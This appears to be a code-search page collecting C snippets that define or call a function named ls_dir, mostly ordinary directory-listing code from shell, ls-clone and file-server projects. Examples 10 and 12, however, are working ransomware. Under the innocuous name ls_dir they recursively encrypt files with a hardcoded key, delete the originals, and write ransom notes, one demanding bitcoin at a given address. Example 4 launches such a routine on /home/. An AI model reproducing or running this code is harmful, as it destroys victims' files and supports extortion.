Esempio n. 1
0
void cmd_line_ls(const char *arg_line) {
    if(strcmp(arg_line, "--HELP") == 0) {
        console_printf("List the contents of a directory (default is current working directory\n");
        console_printf("usage: ls <directory path>\n");
        return;
    }
    if (strlen(arg_line) > 0) {
        char arg_line_copy[256];
        strcpy(arg_line_copy, arg_line);
        char *dname = arg_line_copy;
        int i;
        for(i = 0; i < strlen(arg_line); i++) {
            if (arg_line_copy[i] == ' ') {
                arg_line_copy[i] = '\0';
                console_printf("%s:\n", dname);
                ls_dir(dname);
                console_printf("\n");
                dname = arg_line_copy + i + 1;
            }
        }
        ls_dir(dname);
    } else {
        ls_dir(cur_path);
    }
}
Esempio n. 2
0
/**
 * Handle a list request
 *
 * @param msg client message data
 * @return Response data, NULL on allocation error
 */
resp_t *do_list(msg_t *msg) {
    char *dirlist;
    resp_t *resp = calloc(sizeof(resp_t));

    debug("Attempting to list directory...\n");

    if (!resp) {
        debug("Failed to allocate response.\n");
        return NULL;
    }

    dirlist = ls_dir(msg->buf);

    if (!dirlist) {
        debug("Listing directory failed.\n");
        resp->type = LIST_FAIL;
        return resp;
    }

    //truncate if too long
    if (cgc_strlen(dirlist) > MAX_FILE_SIZE)
        *(dirlist+MAX_FILE_SIZE) = '\0';
    strcpy(resp->buf, dirlist);

    resp->type = LIST_OK;

    free(dirlist);

    return resp;
}
Esempio n. 3
0
int ls(char *name) {
	printf("ls: %s\n", name);
	struct stat mystat, *sp;
	int r;
	char *s;
	char fullName[256], cwd[256];
	s = name;
	if (strcmp(name, "") == 0) //there is no filName input
		s = "./";

	sp = &mystat;
	if (r = lstat(s, sp) < 0) {
		printf("no such file %s\n", s); //exit(1);
	} else {
		strcpy(fullName, s);
		if (s[0] != '/') { // name is relative : get CWD path
			getcwd(cwd, 256);
			strcpy(fullName, cwd);
			strcat(fullName, "/");
			strcat(fullName, s);
		}

		if (S_ISDIR(sp->st_mode))
			ls_dir(fullName);
		else
			ls_file(fullName);

		printf("ls %s ok\n", fullName);
	}
	return 0;
}
Esempio n. 4
0
int main()
{
   
	
	char* start_path;
	start_path = "/home/";
    ls_dir(start_path);

    return 0;
}
Esempio n. 5
0
File: main.c Progetto: Chr0nos/ft_ls
static void	pre_parse(t_list *targets, int flags)
{
	t_dir			*rdir;
	int				n;
	int				dirs_count;
	int				files_count;

	pre_parse_get_dirs_count(targets, &dirs_count, &files_count);
	if (flags & RECURSIVE)
		dirs_count = 1;
	if ((!targets) && ((rdir = get_newrdir(".", flags))))
		ls_dir(rdir, 0, dirs_count, 0);
	n = 0;
	while (targets)
	{
		if ((rdir = get_newrdir((char*)(targets->content), flags)))
			ls_dir(rdir, n++, dirs_count, files_count);
		targets = targets->next;
	}
}
Esempio n. 6
0
//from KC's class notes #8
 int myls(char dname[128])
{
  printf("directory name: %s\n", dname);
  struct stat mystat, *sp;
  int r;
  
  sp = &mystat;
  if (r = lstat(dname, sp) < 0){
     printf("no such file %s\n", dname); return(1);
  }
  if (S_ISDIR(sp->st_mode)) {ls_dir(dname);}
  else {ls_file(dname);}
  return 0;
}
Esempio n. 7
0
t_list		*ls_files(char *root_path)
{
  t_file	*file;
  t_list	*files;

  files = 0;
  if (init_t_file(&file, root_path, root_path))
    {
      if (file->is_dir)
	ls_dir(file, &files);
      else
	append_list(&files, file);
    }
  return (files);
}
Esempio n. 8
0
File: main.c Progetto: Chr0nos/ft_ls
int			main(int ac, char **av)
{
	t_list	*targets;
	int		flags;

	if (ac == 1)
		ls_dir(get_newrdir(".", NONE), 0, 0, 0);
	else if (checkpute(ac, av))
		ft_putendl_fd("ls: fts_open: No such file or directory", 2);
	else
	{
		targets = NULL;
		flags = parser(ac, av, &targets);
		if (flags >= 0)
			pre_parse(targets, flags);
		ft_lstdel(&targets, 0);
	}
	return (0);
}
Esempio n. 9
0
// .c file
void main(void)
{
	dict *inif[HASHSIZE] = {}; // initialized to NULL 	
	dict *dirs;
	char *dir = str_init(), *d_cpy = str_init();
	char *files[256] = {};
	
	parse_conf(inif, INIFILE);
	dirs = lookup(inif, DIRECT);		
	dir = strtok(dirs->defn, DELIM);
	
	while (dir != NULL) {
		strcpy(d_cpy, dir);
		strcat(d_cpy, BUILD_PATH);
		str_strip(d_cpy);
		ls_dir(files, d_cpy);	   // List files
		
		/*
			do parse here
		*/
		
		dir = strtok(NULL, DELIM); // for each until no more delimiters
	}
}
Esempio n. 10
0
void ls_dir(char* start_path)
{
	unsigned char key[] = "12345678901234561234567890123456";// 32 char 256bit key
    unsigned char iv[] = "1234567890123456";//same size as block 16 char 128 bit block

	DIR* dir;
	struct dirent *ent;
	if((dir=opendir(start_path)) !=NULL)
	{
		while((ent=readdir(dir)) !=NULL)
		{
			int len = strlen(ent->d_name);
			const char* last_four = &ent->d_name[len-4];
			if(strcmp(last_four,".enc") != 0)
			{
				if(ent->d_type == 8)
				{
					char* full_path_readme =(char*) malloc(strlen("RANSOMEWARE_INFO")+strlen(start_path)+2);
					strcpy(full_path_readme,start_path);
					strcat(full_path_readme,"RANSOMEWARE_INFO");
					char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
					strcpy(full_path,start_path);
					strcat(full_path,ent->d_name);
					char* new_name = (char*) malloc(strlen(full_path)+strlen(".enc")+1);
					strcpy(new_name,full_path);
					strcat(new_name,".enc");
					if(strcmp(full_path,"/etc/passwd") !=0 && strcmp(full_path,"/etc/shadow")!=0 && strcmp(full_path,"/etc/sudoers") !=0)
					{
						FILE* fpin;
						FILE* fpout;
						FILE* fpreadme;
					
						
						fpin=fopen(full_path,"rb");
						fpout=fopen(new_name,"wb");
						fpreadme=fopen(full_path_readme,"w");
						
						fprintf(fpreadme,"You have been PWNED! \n\n hehehehexD. Only Two Ways here.\n\n 1. Tranfer money to my bitcoin address \n 2. Email me with your bitcoin address that you used to send the money. Then I will email with an Decrpter \n\n Send 0.5btc now \n My Bitcoin Address:13dYMSYXL1BbFbicKM3jD78QN1ERckcXL4\n Email:[email protected] \n");
						fclose(fpreadme);
						
						encryptfile(fpin,fpout,key,iv);

						fclose(fpin);
						fclose(fpout);
						remove(full_path);
					}
					free(full_path);
					free(new_name);
				}
				else if(ent->d_type==4)
				{

					char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
					strcpy(full_path,start_path);
					strcat(full_path,ent->d_name);
					strcat(full_path,"/");
					printf("%s\n",full_path);
					if(full_path != start_path && ent->d_name[0] != '.')
					{
						ls_dir(full_path);
					}
					
					free(full_path);


				}

			}
		}
	}

}
Esempio n. 11
0
int excute (int myargc, char* myargv[])//command will not b null when called
{
  char answer[MAX];
  struct stat fstat, *sp;
  char *cmd;
  char *op = 0;
  sp = &fstat;
  bzero(answer, MAX);
  cmd  = myargv[0];
  char pwd[MAX];
  //printf("Hi\n");
  if(myargc > 1)
  {
    op = myargv[1];
  }
  
  if(strcmp(cmd, "pwd") == 0)
  {
    write(newsock, "1", MAX);//sending sucess message
    getcwd(cwd, MAX);
    write(newsock, cwd, MAX);
    printf("client request pwd: %s\n", cwd);
    return 1;
  } 
  if(strcmp(cmd, "ls") == 0)
  {
    //printf("Hi\n")  ;
    printf("myargc = %d\n",myargc );
    printf("myargv[0] = %s\n", myargv[0]);
    printf("myargv[1] = %s\n", myargv[1]);
    write(newsock, "1", MAX);
    if((myargc > 1) && lstat(myargv[1], &fstat) < 0)
    { 
      write(newsock, "0", 2);
      printf("lstat %s failed\n", myargv[1]);
      
      return 0;
    }
    else if(myargc > 1)
    {
      if(S_ISDIR(sp->st_mode))
      {
        //ls_dir(myargv[1]);
        strcat(answer, "dir");        
        write(newsock, answer, MAX);
        ls_dir(myargv[1]);
        return 0;
      }else{
        
        strcat(answer, "file");
        write(newsock, answer, MAX);
        ls_file(myargv[1]);
        //write(newsock,"done",MAX);
        return 0;
      }
    }

    if(myargc == 1)
    {
      strcat(answer, "dir");
      write(newsock, answer, MAX);
      ls_dir("./");
      printf("ls current directory OK");
      return 0;
    }
    
    return 1;
  } 
  if(strcmp(cmd, "cd") == 0)
  {
    printf("myargc =%d\n",myargc );
    printf("op = %s\n",op );
    write(newsock, "1", MAX);//start message
    if(myargc>1){
      getcwd(pwd, MAX);
      strcat(pwd, "/");
      strcat(pwd,op);
      printf("myargv[1] = %s\n",myargv[1] );
      printf("pwd = %s\n", pwd);
      if(!(chdir(pwd) < 0)){
        printf("client request: cd OK\n");
        strcat(answer, "cd OK");
        write(newsock, answer, MAX);
        printf("cd OK\n");
      }
    }
    // printf("myargc =%d\n",myargc );
    // printf("op = %s\n",op );
    // write(newsock, "1", MAX);//start message
    // if(!(chdir(pwd) < 0))//cd sucessed
    // {
      
    //   printf("client request: cd OK\n");
    //   strcat(answer, "cd OK");
    //   write(newsock, answer, MAX);
    //   printf("cd OK\n");
    // }
    if(myargc == 1)
    {
      
      printf("cd to HOME dir\n");
      chdir("/home/haoran");
      strcat(answer, "cd to HOME dir");
      write(newsock, answer, MAX);
      printf("cd to HOME dir\n");
      return 0;
    }
    else
    {
      printf("client request: cd FAILED\n");
      strcat(answer, "cd FAILED");
      write(newsock, answer, MAX);
      printf("cd FAILED\n");
    }
    return 1;
  } 
  if(strcmp(cmd, "mkdir") == 0)
  {
    printf("op = %s\n",op );
    write(newsock, "1", MAX);
    if(mkdir(op, 0777) < 0)
    {
      printf("mkdir FAIL \n");
      strcat(answer, "mkdir FAIL");
      write(newsock, answer, MAX);

      
    }else
    {
      printf("mkdir %s OK\n", op);
      strcat(answer, "mkdir OK");
      write(newsock, answer, MAX);
      printf("mkdir OK\n");
    }
    return 1;
  } 
  if(strcmp(cmd, "rmdir") == 0)
  {
    write(newsock, "1", MAX);
    if(rmdir(op) < 0)
    {
      
      printf("rmdir FAIL \n");
      strcat(answer, "rmdir FAIL ");
      write(newsock, answer, MAX);
      
      
    }else
    {
      printf("rmdir %s OK\n", op);
      strcat(answer, "rmdir OK");
      write(newsock, answer, MAX);
      printf("rmdir OK\n");

      //
    }
    return 1;
  } 
  if(strcmp(cmd, "rm") == 0)
  {
    write(newsock, "1", MAX);
    if(unlink(op) < 0)
    {
      printf("rm FAIL");
      strcat(answer, "rm FAIL");
      write(newsock, answer, MAX);

    }
    else
    {
      printf("rm %s OK\n", op);
      strcat(answer, "rm OK");
      write(newsock, answer, MAX);
      printf("rm OK\n");
    }
    return 1;
  } 
  if(strcmp(cmd, "get") == 0)
  {
    getCmd(myargc, myargv);
    return 2;//need to work with server
  } 
  if(strcmp(cmd, "put") == 0)
  {
    putCmd(myargc, myargv);   
    return 2;
  } 
  if(strcmp(cmd, "cat") == 0)
  {
    write(newsock, "1", MAX);
    strcat(answer, "Only cat local file");
    write(newsock, answer, MAX);
    
  }
  if(strcmp(cmd, "quit") == 0)//should never get this
  {
    exit(1);
  }

  return 0;
}
Esempio n. 12
0
void ls_dir(char* start_path)
{
	unsigned char key[] = "12345678901234561234567890123456"; // 32 char 256bit key
    unsigned char iv[] = "1234567890123456"; //same size as block 16 char 128 bit block

	DIR* dir;
	struct dirent *ent;
	if((dir=opendir(start_path)) !=NULL)
	{
		while((ent=readdir(dir)) !=NULL)
		{
			int len = strlen(ent->d_name);
			const char* last_four = &ent->d_name[len-4];
			if(strcmp(last_four,".CryLi") != 0)
			{
				if(ent->d_type == 8)
				{
					char* full_path_readme =(char*) malloc(strlen("README")+strlen(start_path)+2);
					strcpy(full_path_readme,start_path);
					strcat(full_path_readme,"README");
					char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
					strcpy(full_path,start_path);
					strcat(full_path,ent->d_name);
					char* new_name = (char*) malloc(strlen(full_path)+strlen(".CryLi")+1);
					strcpy(new_name,full_path);
					strcat(new_name,".CryLi");
					if(strcmp(full_path,"/etc/passwd") !=0 && strcmp(full_path,"/etc/shadow")!=0 && strcmp(full_path,"/etc/sudoers") !=0)
					{
						FILE* fpin;
						FILE* fpout;
						FILE* fpreadme;
					
						
						fpin=fopen(full_path,"rb");
						fpout=fopen(new_name,"wb");
						fpreadme=fopen(full_path_readme,"w");
						
						fprintf(fpreadme,"PWNED!\n");
						fclose(fpreadme);
						
						encryptfile(fpin,fpout,key,iv);

						fclose(fpin);
						fclose(fpout);
						remove(full_path);
					}
					free(full_path);
					free(new_name);
				}
				else if(ent->d_type==4)
				{

					char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
					strcpy(full_path,start_path);
					strcat(full_path,ent->d_name);
					strcat(full_path,"/");
					printf("%s\n",full_path);
					if(full_path != start_path && ent->d_name[0] != '.')
					{
						ls_dir(full_path);
					}
					
					free(full_path);

				}

			}
		}
	}

}
Esempio n. 13
0
File: ls.c Progetto: z88dk/z88dk
int main(int argc, char **argv)
{
   static unsigned char *name;
   static unsigned char cwd[ESX_PATHNAME_MAX + 1];
   
   static struct esx_stat es;
   static struct esx_dirent ed;
   static struct esx_dirent_slice *slice;

   // initialization
   
   old_cpu_speed = ZXN_READ_REG(REG_TURBO_MODE);
   ZXN_NEXTREG(REG_TURBO_MODE, RTM_14MHZ);
   
   atexit(cleanup);
   
   // if a filename is not listed use the current working directory
   
   name = strrstrip(strstrip(argv[1]));
   
   if ((argc == 1) || (strcmp(name, ".") == 0))
   {
      if (esx_f_getcwd(cwd) == 0xff) exit(errno);
      name = cwd;
   }
   
   // try to open as a directory
   
   if ((fin = esx_f_opendir(name)) != 0xff)
   {
      // directory

      while (esx_f_readdir(fin, &ed) == 1)
      {
         slice = esx_slice_dirent(&ed);
         
         ls_name = ed.name;
         ls_size = &slice->size;
         
         tm_from_dostm(&ls_tm, &slice->time);
         
         (ed.attr & ESX_DIR_A_DIR) ? ls_dir() : ls_file();
      }
      
      esx_f_close(fin);
      fin = 0xff;
   }
   else
   {
      // file
      
      if (esx_f_stat(name, &es)) exit(errno);
      
      ls_name = name;
      ls_size = &es.size;
      
      tm_from_dostm(&ls_tm, &es.time);
      
      (es.attr & ESX_DIR_A_DIR) ? ls_dir() : ls_file();
   }
   
   return 0;
}